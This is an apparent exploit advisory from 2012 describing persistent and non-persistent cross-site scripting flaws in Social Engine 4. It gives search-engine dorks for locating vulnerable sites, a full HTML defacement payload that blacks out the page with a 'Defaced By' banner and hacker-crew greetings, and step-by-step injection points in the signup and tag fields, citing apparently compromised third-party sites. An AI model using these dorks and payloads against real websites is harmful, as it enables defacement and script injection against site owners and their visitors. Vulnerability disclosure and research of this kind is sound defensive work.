Social Engine 4 Cross Site Scripting

`=====================================================  
Social Engine 4 Persistent XSS & Non-Persistent XSS  
=====================================================  
  
:----------------------------------------------------------------------------------------------------------------------------------------:  
: # Exploit Title : Social Engine 4 Persistent XSS & Non-Persistent XSS  
: # Date : 27 July 2012  
: # Author : X-Cisadane  
: # Software Link : http://www.socialengine.com/buy-social-engine   
: # Version : ALL  
: # Category : Web Applications  
: # Vulnerability : Persistent & Non-Persistent XSS  
: # Tested On : Mozilla Firefox 7.0.1 (Windows)  
: # Greetz to : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club, Winda Utari  
:----------------------------------------------------------------------------------------------------------------------------------------:  
DORKS  
=====  
"This will be the end of your profile link, for example:"  
OR  
intext:"This page will contain the privacy statement of your choice."  
  
  
XSS CODE  
=======  
<DIV align=left>  
<DIV id=Layer1 style="BORDER-RIGHT: #000000 1px; BORDER-TOP: #000000 1px; 1; LEFT: 1px; BORDER-LEFT: #000000 1px; WIDTH: 1500px; BORDER-BOTTOM: #000000 1px; POSITION: absolute; TOP: 0px; HEIGHT: 5000px; BACKGROUND-COLOR: #000000; layer-background-color: #000000">   
<br /><br />  
<br>  
<center>  
<font face="Arial" color="red" size="4"><strong><br><br><br>Defaced By : X-Cisadane  
<br>  
</center>   
<font face="Courier New" color="#FF0000" size="3"><center>Greetz To : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club and Winda Utari</center></font>   
<center><img src="http://obnoxiousgamer.files.wordpress.com/2010/01/jollyroger.gif"></img></center>  
<center><font face="arial" size="3" color="#FF0000">   
<marquee behavior="alternate" scrolldelay="100" style="width: 90%">Please fix your hole!  
</li>  
</ul>  
</td>  
</tr>  
</table>  
</div>  
  
Proof of Concept  
================  
1. Non-Persistent XSS on Sign Up Page   
Example : http://SITE TARGET/signup   
Copy & Paste XSS Code into Profile Address Field  
Pic : http://i45.tinypic.com/v46iyd.png  
Pic : http://i49.tinypic.com/156e79h.png  
  
2. Persistent XSS on Tags (Keywords) Field  
- In the Post New Video Page (http://SITE TARGET/videos/create)   
Copy & Paste XSS Code into Tags (keywords) Field   
Picture : http://i50.tinypic.com/14soaci.png  
Example : http://www.ankabooot.com/videos/11081/523   
  
- In the Post New Classfields Listing Page (http://SITE TARGET/classifieds/create)  
Copy & Paste XSS Code into Tags (keywords) Field   
Picture : http://i47.tinypic.com/2ptcv29.png  
Example : http://www.contact.me/index.php/classifieds/27205/4/test  
  
All XSS Flaws tested with Mozilla Firefox 7.0.1 (Windows)  
`